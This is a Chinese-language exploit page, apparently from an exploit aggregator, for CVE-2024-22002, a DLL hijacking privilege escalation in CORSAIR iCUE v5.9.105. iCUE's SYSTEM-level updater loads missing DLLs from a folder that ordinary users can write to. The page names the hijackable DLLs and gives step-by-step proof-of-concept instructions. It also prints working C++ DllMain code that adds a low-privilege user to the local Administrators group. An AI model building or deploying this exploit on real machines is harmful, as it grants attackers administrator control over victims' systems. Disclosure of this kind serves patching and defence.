## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XKICKIT-ICUE_DLLHIJACK_LPE-CVE-2024-22002
## 受影响软件及版本
* 软件下载链接:CORSAIR iCUE v5.9.105 with iCUE Murals
## 描述
在 iCUE v5.9.105 中发现了一个 DLL 劫持漏洞。该漏洞发生在由“iCUEUpdateService”服务管理的更新过程中。该服务会派生一个名为“cuepkg.exe”的进程,负责执行更新,并以“NT AUTHORITY\SYSTEM”权限运行。当启动该进程时,它会在 iCUE 安装目录下的 `\cuepkg-1.2.6` 文件夹中查找多个 DLL。其中一些 DLL 默认不存在,但由于普通用户拥有在该目录中创建文件的权限,攻击者可能会向该目录注入恶意 DLL。随后,这个恶意 DLL 将被 `cuepkg.exe` 以管理员权限加载。
**已检测到** 受影响的 DLL 如下:
* `MSASN1.dll`
* `NTASN1.dll`
* `profapi.dll`
CVSS 向量:`(AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)`
* **基础评分:** 7.8(高)
* **时间评分:** 7.8(高)
* **环境评分:** 7.8(高)
## 概念验证(PoC)
以 DLL `profapi.dll` 为例。
1. 创建我们的恶意 DLL,并将其添加到目录 `%INSTALLDIR%cuepkg-1.2.6` 中。
2. 等待程序自动更新,或者在本例中,通过点击“检查更新”强制更新。
3. 我们未拥有管理员权限的用户被添加到组中。
`lowpriv` 用户在恶意 DLL 执行**之前** 的权限: 
`lowpriv` 用户在恶意 DLL 执行**之后** 的权限: 
* 恶意代码示例:
root@kitploit:~
#include "pch.h"
#include <windows.h>
#include <cstdlib>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
{
system("net localgroup Administrators desktop-ckfiane\\lowpriv /add");
}
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}